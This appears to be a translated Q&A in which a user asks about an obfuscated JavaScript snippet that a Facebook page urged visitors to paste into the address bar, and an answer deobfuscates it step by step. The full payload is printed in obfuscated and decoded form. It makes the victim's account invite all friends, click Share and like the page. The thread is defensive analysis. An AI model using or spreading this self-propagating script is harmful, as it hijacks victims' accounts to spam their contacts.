javascript - 我在 Facebook 上发现的这个奇怪的脚本是什么？

Question

与其说是帮助我自己编程的问题，不如说是我在 facebook 上发现这个页面有一个很酷的错觉和一个页面，上面写着“要看到真正的错觉，将这段代码复制并粘贴到您的地址栏中”，并且有一个脚本:

免责声明:请勿运行以下代码

javascript:(function(){a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
eval(function(p,a,c,k,e,r){e=function(c)
{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e)
{return r[e]}];e=function(){return'\\w+'};c=1};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p}
('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];
d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);
s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g])
{F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);
',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))})();

这是什么鬼？如果我将它放在地址栏中会发生什么，我认为这是一个非常不明智的想法？

我很困惑。

Answer 1

一开始并不清楚该代码的作用(正如其预期的那样)，因此为了回答您的问题，必须对代码进行解包。为了让您能够理解我的想法，我在此处包括了去混淆的每一步。

这是添加了换行符的脚本的当前形式:

(function() {
    a='app129556453726651_fsDszN';
    b='app129556453726651_rcgAmd';
    rhsjGW='app129556453726651_rhsjGW';
    SqmbQL='app129556453726651_SqmbQL';
    kPtsfs='app129556453726651_kPtsfs';

    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]){F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))
})();

正如我们所见，脚本本身是一个自调用闭包内的函数，在处理脚本时将立即执行。该脚本包含一些神秘变量和一些包含 Edward's packer 的代码.当我们使用解包器解包代码时 like this ，我们得到以下形式(添加了换行符):

(function(){
    a='app129556453726651_fsDszN';
    b='app129556453726651_rcgAmd';
    rhsjGW='app129556453726651_rhsjGW';
    SqmbQL='app129556453726651_SqmbQL';
    kPtsfs='app129556453726651_kPtsfs';
    
    var variables = [
        "\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79",
        "\x73\x74\x79\x6C\x65",
        "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
        "\x68\x69\x64\x64\x65\x6E",
        "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
        "\x76\x61\x6C\x75\x65",
        "\x73\x75\x67\x67\x65\x73\x74",
        "\x6C\x69\x6B\x65\x6D\x65",
        "\x73\x6C\x69\x6E\x6B",
        "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
        "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
        "\x63\x6C\x69\x63\x6B",
        "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
        "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
        "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
        "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
        "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
        "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
        "\x69\x6E\x70\x75\x74",
        "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65",
        "\x53\x68\x61\x72\x65",
        "\x70\x6F\x70\x5F\x63\x6F\x6E\x74\x65\x6E\x74"];

    d = document;
    d[variables[2]](kPtsfs)[variables[1]][variables[0]] = variables[3];
    d[variables[2]](a)[variables[4]] = d[variables[2]](b)[variables[5]];
    s = d[variables[2]](variables[6]);
    m = d[variables[2]](variables[7]);
    sl = d[variables[2]](variables[8]);
    c = d[variables[10]](variables[9]);
    c[variables[12]](variables[11], true, true);
    s[variables[13]](c);
    
    setTimeout(function () {
        fs[variables[14]]()
    }, 5000);
    
    setTimeout(function () {
        SocialGraphManager[variables[17]](variables[15], variables[16]);
        setTimeout(function () {
            c[variables[12]](variables[11], true, true);
            sl[variables[13]](c);
            setTimeout(function () {
                inp = document[variables[19]](variables[18]);
                for (i in inp) {
                    if (inp[i][variables[5]] == variables[20]) {
                        inp[i][variables[13]](c)
                    }
                };
                m[variables[13]](c);
                setTimeout(function () {
                    d[variables[2]](SqmbQL)[variables[4]] = d[variables[2]](rhsjGW)[variables[5]];
                }, 2000)
            }, 4000)
        }, 3000)
    }, 5000);
})();

从中我们可以立即看出代码以特定间隔执行命令，首先是 5 秒后，然后是 3 秒，然后是 4 秒，最后是 2 秒后。脚本的开头包含一些可以解码为以下内容的十六进制编码变量:

var variables = [
    "visibility",
    "style",
    "getElementById",
    "hidden",
    "innerHTML",
    "value",
    "suggest",
    "likeme",
    "slink",
    "MouseEvents",
    "createEvent",
    "click",
    "initEvent",
    "dispatchEvent",
    "select_all",
    "sgm_invite_form",
    "/ajax/social_graph/invite_dialog.php",
    "submitDialog",
    "input",
    "getElementsByTagName",
    "Share",
    "pop_content"];

通过将这些变量代入代码，我们得到:

(function(){
    a='app129556453726651_fsDszN';
    b='app129556453726651_rcgAmd';
    rhsjGW='app129556453726651_rhsjGW';
    SqmbQL='app129556453726651_SqmbQL';
    kPtsfs='app129556453726651_kPtsfs';
    
    d = document;
    d["getElementById"](kPtsfs)["style"]["visibility"] = "hidden";
    d["getElementById"](a)["innerHTML"] = d["getElementById"](b)["value"];
    s = d["getElementById"]("suggest");
    m = d["getElementById"]("likeme");
    sl = d["getElementById"]("slink");
    c = d["createEvent"]("MouseEvents");
    c["initEvent"]("click", true, true);
    s["dispatchEvent"](c);
    
    setTimeout(function () {
        fs["select_all"]()
    }, 5000);
    
    setTimeout(function () {
        SocialGraphManager["submitDialog"]("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
        setTimeout(function () {
            c["initEvent"]("click", true, true);
            sl["dispatchEvent"](c);
            setTimeout(function () {
                inp = document["getElementsByTagName"]("input");
                for (i in inp) {
                    if (inp[i]["value"] == "Share") {
                        inp[i]["dispatchEvent"](c)
                    }
                };
                m["dispatchEvent"](c);
                setTimeout(function () {
                    d["getElementById"](SqmbQL)["innerHTML"] = d["getElementById"](rhsjGW)["value"];
                }, 2000)
            }, 4000)
        }, 3000)
    }, 5000);
})();

我们知道 document['getElementById'] 与 document.getElementById 相同，我们可以清理代码，使其最终变得可读。我还完成了变量替换并分离了 setTimeouts 以提高可读性:

(function(){
    document.getElementById('app129556453726651_kPtsfs').style.visibility = "hidden";
    document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
    s = document.getElementById("suggest");
    m = document.getElementById("likeme");
    sl = document.getElementById("slink");
    c = document.createEvent("MouseEvents");
    c.initEvent("click", true, true);
    s.dispatchEvent(c);
    
    setTimeout(function () {
        fs.select_all()
    }, 5000);
    
    setTimeout(function () {
        SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
    }, 5000);
    
    setTimeout(function () {
        c.initEvent("click", true, true);
        sl.dispatchEvent(c);
    }, 8000);
    
    setTimeout(function () {
        inp = document.getElementsByTagName("input");                    
        for (i in inp) {
            if (inp[i].value == "Share") {
                inp[i].dispatchEvent(c);
            }
        };                    
        m.dispatchEvent(c);                
    }, 12000);
    
    setTimeout(function () {
        document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
    }, 14000);
})();

现在，在不太了解 Facebook 工作原理的情况下，这确实看起来是恶意的，它会分享您可能不想分享的内容等。这篇文章的主要思想是展示您如何自己也可以解密这样的脚本。 :)